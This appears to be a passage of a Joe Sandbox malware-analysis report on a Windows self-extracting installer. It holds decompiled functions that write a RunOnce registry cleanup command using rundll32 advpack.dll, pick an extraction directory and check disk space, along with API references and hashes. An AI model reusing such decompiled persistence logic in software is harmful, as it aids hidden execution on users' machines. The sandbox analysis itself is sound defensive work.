				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x1099124; // 0x0
				return _t7;
			}

0x01092c03
0x01092c0d
0x01092c18
0x01092c20
0x01092c2e
0x01092c32
0x01092c36
0x01092c3d
0x01092c43
0x01092c45
0x01092c47
0x01092c49
0x01092c4e
0x01092c4e
0x01092c47
0x01092c32
0x01092c20
0x01092c50
0x01092c54
0x01092c57
0x01092c64
0x01092c66
0x01092c6b
0x01092c6d
0x01092c74
0x01092c76
0x01092c7c
0x01092c7e
0x01092c87
0x01092c89
0x01092c89
0x01092c87
0x01092c7c
0x01092c74
0x01092c8e
0x01092c95
0x01092c98
0x01092c98
0x01092c9e
0x01092ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,01096BB0,01090000,00000000,00000002,0000000A), ref: 01092C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,01096BB0,01090000,00000000,00000002,0000000A), ref: 01092C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 01092C28
CloseHandle.KERNEL32(00000000,?,?,01096BB0,01090000,00000000,00000002,0000000A), ref: 01092C98

Strings

HeapSetInformation, xrefs: 01092C22
Kernel32.dll, xrefs: 01092C13

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 2e8dd372a5117c44ba33a820e651971753299bd8c77793b4f2977a749b5815be
Instruction ID: f0dba682f947148e547e6ce498ee52a4127eea2457b1e9f9d416eeb7bfd7fa74
Opcode Fuzzy Hash: 2e8dd372a5117c44ba33a820e651971753299bd8c77793b4f2977a749b5815be
Instruction Fuzzy Hash: E511CDF130124DBBDF307BF9A874E5B3B99BB85394B040059FAC0D3244DA3AD841A754

Uniqueness

Uniqueness Score: -1.00%

Function 01096F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01096F40() {

				SetUnhandledExceptionFilter(E01096EF0); // executed
				return 0;
			}

0x01096f45
0x01096f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 01096F45

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0b5bac7735d769212f9305f6a7a479d9a83d13a7671607b75bb117d193ac75ae
Instruction ID: 9302c88e2add9c811b70efc15228212e9c9341f31c69609542d22afe98c34166
Opcode Fuzzy Hash: 0b5bac7735d769212f9305f6a7a479d9a83d13a7671607b75bb117d193ac75ae
Instruction Fuzzy Hash: 859002B035110087DB201B71993941575916A4D6827815464A091C9448DB6644406611

Uniqueness

Uniqueness Score: -1.00%

Function 0109202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0109202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0x1098004; // 0x8a9c601
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E01096CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E0109171E("wextract_cleanup1", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup1", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E0109658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0x1099a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0x10991e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0x10991e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0x10991e5);
						if(_t90 != 0) {
							 *0x1098580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\alfons\AppData\Local\Temp\IXP001.TMP\");
							E0109171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup1", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E010944B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E0109658A( &_v268, 0x104, 0x1091140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0x1098530 = _t66;
				goto L23;
			}

0x0109202a
0x01092035
0x0109203c
0x01092041
0x01092050
0x0109205f
0x01092064
0x0109206f
0x0109208c
0x01092094
0x01092257
0x01092266
0x01092266
0x0109209a
0x0109209b
0x0109209d
0x010920aa
0x010920af
0x010920c9
0x010920d1
0x00000000
0x00000000
0x010920d3
0x010920da
0x00000000
0x00000000
0x00000000
0x010920da
0x010920e2
0x01092103
0x0109210e
0x01092116
0x01092122
0x01092128
0x0109212c
0x01092179
0x01092194
0x010921de
0x010921e4
0x01092256
0x01092256
0x00000000
0x01092256
0x01092196
0x01092196
0x0109219c
0x0109219f
0x0109219f
0x010921a1
0x010921a2
0x010921a6
0x010921a8
0x010921b0
0x010921b0
0x010921b2
0x010921b3
0x010921bc
0x010921c7
0x010921cb
0x010921f1
0x010921f6
0x010921fd
0x010921ff
0x010921ff
0x01092204
0x01092213
0x01092218
0x0109221d
0x0109221d
0x01092220
0x01092220
0x01092222
0x01092223
0x01092229
0x0109223d
0x01092249
0x01092250
0x00000000
0x01092250
0x010921d2
0x010921d9
0x00000000
0x010921d9
0x0109213a
0x01092141
0x01092144
0x0109214c
0x00000000
0x00000000
0x01092163
0x01092172
0x01092172
0x00000000
0x01092163
0x010920ea
0x010920f0
0x00000000

APIs

memset.MSVCRT ref: 01092050
memset.MSVCRT ref: 0109205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0109208C

Part of subcall function 0109171E: _vsnprintf.MSVCRT ref: 01091750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010920C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010920EA
GetSystemDirectoryA.KERNEL32 ref: 01092103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 01092122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 01092134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 01092144
GetSystemDirectoryA.KERNEL32 ref: 0109215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0109218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010921C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010921E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 0109223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 01092249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 01092250

Strings

wextract_cleanup1, xrefs: 010920A5, 010920BE, 010920F0, 01092232
advpack.dll, xrefs: 01092109
DelNodeRunDLL32, xrefs: 0109212E
%s /D:%s, xrefs: 010921FF, 01092210
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 010921F6
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 01092082
wextract_cleanup%d, xrefs: 0109209E
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 010921A8, 01092204

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup1
API String ID: 178549006-3073904943
Opcode ID: c1aee6cb3cff18512ef44d2292213b8833d1a1af5ca9d18ed95a5df1f0c280f0
Instruction ID: 8075c06a09dbd929f7282c6d0e6b94a729580edfb6b03efc441a584d2cc461b9
Opcode Fuzzy Hash: c1aee6cb3cff18512ef44d2292213b8833d1a1af5ca9d18ed95a5df1f0c280f0
Instruction Fuzzy Hash: CA5124B5A00218BBDF309B64DC68FFA7B6CFB91700F0041E9BAC9E7145DA7699489B50

Uniqueness

Uniqueness Score: -1.00%

Function 010955A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E010955A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0x1098004; // 0x8a9c601
				_v8 = _t28 ^ _t110;
				_t2 = E0109468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E0109468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0x1099a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0x1098b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0x1098a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E01096517(_t82, 0x7d2, 0, E01093210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0x1099a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0x10991e4;
									_t40 = GetTempPathA(0x104, 0x10991e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E01091781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E01096952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E0109597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E01092630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E0109658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0x10991e4;
																					E01091781(0x10991e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E01095467(0x10991e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E01092630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E0109597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E01095467(0x10991e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0x10991e4;
											_t70 = E01092630(0, 0x10991e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0x10991e4;
												_t71 = E01095467(0x10991e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E0109597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0x1098b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E01095467(0x1098b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E010944B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E010944B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0x1099124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E010944B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0x1099124 = E01096285();
					L2:
					_t38 = 0;
				}
				L47:
				return E01096CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x010955ab
0x010955b2
0x010955c9
0x010955d5
0x010955d9
0x01095600
0x01095605
0x0109560a
0x0109560c
0x01095638
0x01095641
0x01095643
0x01095645
0x01095645
0x0109564c
0x01095652
0x01095657
0x01095659
0x01095696
0x0109569c
0x0109589f
0x010958a7
0x010958ac
0x010958b3
0x010958b5
0x010956a2
0x010956a2
0x010956a8
0x00000000
0x010956ae
0x010956ae
0x010956b9
0x010956bf
0x010956c1
0x010956f3
0x010956f3
0x01095705
0x0109570a
0x01095711
0x01095717
0x01095724
0x01095726
0x01095729
0x01095730
0x01095737
0x0109573d
0x01095740
0x00000000
0x00000000
0x00000000
0x00000000
0x0109572b
0x0109572b
0x0109572e
0x01095742
0x01095742
0x01095745
0x0109576b
0x0109576b
0x00000000
0x01095747
0x01095747
0x0109574d
0x0109574f
0x01095771
0x01095771
0x01095773
0x00000000
0x01095751
0x01095751
0x01095753
0x00000000
0x01095755
0x0109575b
0x01095760
0x01095762
0x00000000
0x01095764
0x01095764
0x01095769
0x0109577e
0x0109577e
0x01095781
0x01095788
0x0109578d
0x0109578f
0x010957b2
0x010957b8
0x010957bd
0x010957bf
0x010957cd
0x010957cd
0x010957dd
0x010957e3
0x010957ef
0x010957f5
0x010957f8
0x0109580a
0x0109580a
0x010957fa
0x01095802
0x01095802
0x0109580d
0x0109580f
0x01095830
0x01095836
0x0109583d
0x0109584b
0x01095851
0x01095855
0x0109585a
0x0109585c
0x00000000
0x0109585e
0x0109585e
0x00000000
0x0109585e
0x01095811
0x01095817
0x01095819
0x0109581f
0x00000000
0x0109581f
0x01095791
0x01095797
0x0109579c
0x0109579e
0x00000000
0x010957a0
0x010957a9
0x010957ae
0x010957b0
0x00000000
0x00000000
0x00000000
0x00000000
0x010957b0
0x0109579e
0x00000000
0x00000000
0x00000000
0x01095769
0x01095762
0x01095753
0x0109574f
0x00000000
0x00000000
0x00000000
0x0109572e
0x00000000
0x01095864
0x01095864
0x01095864
0x01095717
0x00000000
0x010956c3
0x010956c5
0x010956c9
0x010956ce
0x010956d0
0x00000000
0x010956d6
0x010956d6
0x010956d8
0x010956dd
0x010956df
0x00000000
0x010956e1
0x010956e2
0x010956e4
0x010956e6
0x010956eb
0x010956ed
0x00000000
0x010956f3
0x010956f3
0x00000000
0x0109586c
0x01095878
0x0109587e
0x01095882
0x01095883
0x01095889
0x0109588e
0x0109588e
0x00000000
0x01095896
0x010956ed
0x010956df
0x010956d0
0x010956c1
0x010956a8
0x0109565b
0x0109565b
0x0109565d
0x01095669
0x01095669
0x0109565f
0x0109565f
0x01095665
0x01095667
0x00000000
0x00000000
0x01095667
0x0109566c
0x01095673
0x01095678
0x0109567a
0x0109589b
0x0109589b
0x01095680
0x01095685
0x0109568c
0x00000000
0x0109568c
0x0109567a
0x0109560e
0x01095613
0x0109561a
0x01095620
0x01095626
0x00000000
0x01095626
0x010955db
0x010955e0
0x010955e7
0x010955f1
0x010955f6
0x010955f6
0x010955f6
0x010958b7
0x010958c7

APIs

Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946A0
Part of subcall function 0109468F: SizeofResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946A9
Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946C3
Part of subcall function 0109468F: LoadResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946CC
Part of subcall function 0109468F: LockResource.KERNEL32(00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946D3
Part of subcall function 0109468F: memcpy_s.MSVCRT ref: 010946E5
Part of subcall function 0109468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010946EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 010955CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 01095638
LocalFree.KERNEL32(00000000), ref: 0109564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 01095620

Part of subcall function 010944B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
Part of subcall function 010944B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554

Part of subcall function 01096285: GetLastError.KERNEL32(01095BBC), ref: 01096285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 010956B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 0109571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 01095737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 010957CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 010957EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 01095802

Part of subcall function 01092630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 01092654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 01095830

Part of subcall function 01096517: FindResourceA.KERNEL32(01090000,000007D6,00000005), ref: 0109652A
Part of subcall function 01096517: LoadResource.KERNEL32(01090000,00000000,?,?,01092EE8,00000000,010919E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 01096538
Part of subcall function 01096517: DialogBoxIndirectParamA.USER32(01090000,00000000,00000547,010919E0,00000000), ref: 01096557
Part of subcall function 01096517: FreeResource.KERNEL32(00000000,?,?,01092EE8,00000000,010919E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 01096560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 01095878

Part of subcall function 0109597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 010959A8
Part of subcall function 0109597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 010959AF

Strings

Z, xrefs: 0109570A
RUNPROGRAM, xrefs: 010955BD, 01095600
msdownld.tmp, xrefs: 010957D3
A:\, xrefs: 010956F4
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 010956AE, 010956B3, 0109583D
<None>, xrefs: 01095632

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-3498133043
Opcode ID: e97da9fc17e086abd7e4764750c80d5d0ae04eb8b9f4472d85e88ceccebc0590
Instruction ID: 21f664532f98582ecfb554b75907807023f811c8017cc8210043db99691d581e
Opcode Fuzzy Hash: e97da9fc17e086abd7e4764750c80d5d0ae04eb8b9f4472d85e88ceccebc0590
Instruction Fuzzy Hash: FE812870B042059ADF63AA7A9C74BFF76ADBB55300F0400E7E5C6E7181DE748E81AB50

Uniqueness

Uniqueness Score: -1.00%

Function 0109597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0109597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0x1098004; // 0x8a9c601
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0x1099124 = E01096285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E010944B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
